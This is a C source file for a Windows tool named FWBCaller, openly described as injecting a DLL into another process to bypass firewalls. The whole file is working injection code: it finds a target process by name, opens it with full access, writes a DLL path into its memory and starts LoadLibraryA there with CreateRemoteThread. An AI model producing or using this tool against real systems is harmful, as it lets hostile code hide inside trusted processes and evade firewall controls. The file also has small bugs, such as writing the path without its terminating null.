/*
 * Tool name   : FWBCaller
 * Description : Tool to inject a DLL into a remote process. This 
 *               method is known as FWB (Firewall Bypassing).
 * Version     : 0.1
 * Todo        : 
 *
 * Changes     : 
 *
 */

#include <windows.h> 
#include <tlhelp32.h> 
#include <shlwapi.h>
#include <stdio.h> 
#include <string.h>


#pragma comment(lib, "shlwapi.lib")

#define MAX_BUF_SIZE 1024
#define WIN32_LEAN_AND_MEAN 
#define CREATE_THREAD_ACCESS (PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ) 



/*
 * Constants, data types and function forward declarations.
 *
 */

int injectDLL(DWORD pPID, char *pDLLName); 
DWORD getPIDByName(char *lProcessName);



/*
 * Program entry point
 *
 */

int main(int argc, char * argv[]) 
{ 
  int lRetVal = 0;
  int lPID = 0;
  char lTemp[MAX_BUF_SIZE + 1];

  /*
   * Check arguments.
   *
   */

  if (argc <= 2 )
  {
    printf("Usage : %s process-ID DLL-name\n", argv[0]);
    lRetVal = -1;
    goto END;
  } // if (argc <= 2 )


  /*
   * Determine process ID 
   *
   */

  lPID = getPIDByName(argv[1]); 
  ZeroMemory(lTemp, sizeof(lTemp));

  GetFullPathName(argv[2], sizeof(lTemp) - 1, lTemp, NULL);

  if(injectDLL(lPID, lTemp) < 0)
  {
    printf("Unable to load DLL \"%s\". Error no %d\n", argv[2], GetLastError());
    lRetVal = -2;
    goto END;
  } else {
    printf("DLL loaded and injected."); 
  } // if(injectDLL(lP...

END:

  return(0);
} 



int injectDLL(DWORD pPID, char *pDLLName) 
{
  int lRetVal = 0;
  HANDLE lProc; 
  LPVOID lRemoteMemory = NULL;
  LPVOID lLoadLibraryPtr = NULL; 


  /*
   * Open process handle.
   *
   */

  if(! (lProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pPID))) 
  { 
    printf("OpenProcess() failed: %d\n", GetLastError());
    lRetVal = -1;
    goto END;
  } // if(! (lProc = OpenPro...
  

  /*
   * Determine LoadLibraryA address.
   *
   */

  if (!(lLoadLibraryPtr = (LPVOID) GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA")))
  {
    printf("Unable to load \"LoadLibraryA@Kernel32.dll\": %d", GetLastError());
    lRetVal = -2;
    goto END;    
  } // if (!(lLoadLibrar...


  /*
   * Allocate memory in remote process.
   *
   */

  if ( !(lRemoteMemory = (LPVOID) VirtualAllocEx(lProc, NULL, strlen(pDLLName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)))
  {
    printf("Unable to load allocate memory: %d", GetLastError());
    lRetVal = -3;
    goto END; 
  } // if ( !(lRemote...



  /*
   * Write data into the address space of the remote process and 
   * start the remote thread.
   *
   */

  WriteProcessMemory(lProc, (LPVOID) lRemoteMemory, pDLLName, strlen(pDLLName), NULL); 
  CreateRemoteThread(lProc, NULL, NULL, (LPTHREAD_START_ROUTINE) lLoadLibraryPtr, (LPVOID) lRemoteMemory, NULL, NULL); 

END:
  
  if (lProc != INVALID_HANDLE_VALUE)
    CloseHandle(lProc);

  return(lRetVal); 
} 





/*
 *
 *
 */

DWORD getPIDByName(char *lProcessName) 
{ 
  PROCESSENTRY32 pe; 
  HANDLE thSnapShot;
  int lRetVal = 0;
 
  if((thSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE) 
  { 
    printf("Error: Unable to create toolhelp snapshot!"); 
    lRetVal = -1;
    goto END;
  } 

  pe.dwSize = sizeof(PROCESSENTRY32); 
  if (Process32First(thSnapShot, &pe))
  {
    do 
    { 
      if(StrStrI(pe.szExeFile, lProcessName)) 
      {
        lRetVal = pe.th32ProcessID;
        break;
      } // if(StrStrI(pe.sz...
    } while(Process32Next(thSnapShot, &pe));
  } // if (lRetVal)

END:

  return(lRetVal);
} 

